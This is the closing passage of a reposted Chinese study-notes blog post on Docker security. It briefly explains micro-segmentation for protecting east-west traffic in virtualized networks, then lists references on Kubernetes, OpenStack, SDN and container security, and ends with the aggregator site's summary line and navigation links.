圖右邊，來看看應(yīng)用了微分段技術(shù)后的網(wǎng)絡(luò)架構(gòu)，首先會(huì)根據(jù)不同的業(yè)務(wù)來進(jìn)行分段(Segmentation)，不同的workload根據(jù)需要將需要的服務(wù)邏輯劃分到該子網(wǎng)中。同時(shí)，在virtual NIC, VM, OS等多個(gè)實(shí)體上集成安全能力，從而提供針對(duì)NFV網(wǎng)絡(luò)的東西向流量防護(hù)，解決傳統(tǒng)網(wǎng)絡(luò)中出現(xiàn)的問題。
參考資料
1.neuvector
2.一文了解 Kubernetes 是什么？
3.Docker與KVM之間的區(qū)別
4.從虛擬機(jī)到容器，詳談各種服務(wù)虛擬化技術(shù)及其應(yīng)用場(chǎng)景
5.淺析Micro Segmentation在安全中的應(yīng)用
6.SDN 是什么？
7.OpenStack入門科普
8.Kubernetes和OpenStack到底是什么關(guān)系？
9.京東從OpenStack切換到Kubernetes的經(jīng)驗(yàn)之談
10.七個(gè)用于Docker和Kubernetes防護(hù)的安全工具
11.Docker安全入門與實(shí)戰(zhàn)（一）
12.Docker安全入門與實(shí)戰(zhàn)（二）
13.Docker安全入門與實(shí)戰(zhàn)（三）
14.Docker安全入門與實(shí)戰(zhàn)（四）
15.如何打造安全的容器云平臺(tái)
16.Linux namespace概述
17.Docker 核心技術(shù)與實(shí)現(xiàn)原理
總結(jié)
以上是生活随笔為你收集整理的Docker 安全问题与防护 (学习笔记)的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 向你推荐22辆最适合改装的车
- 下一篇： [LeetCode] 620.Not B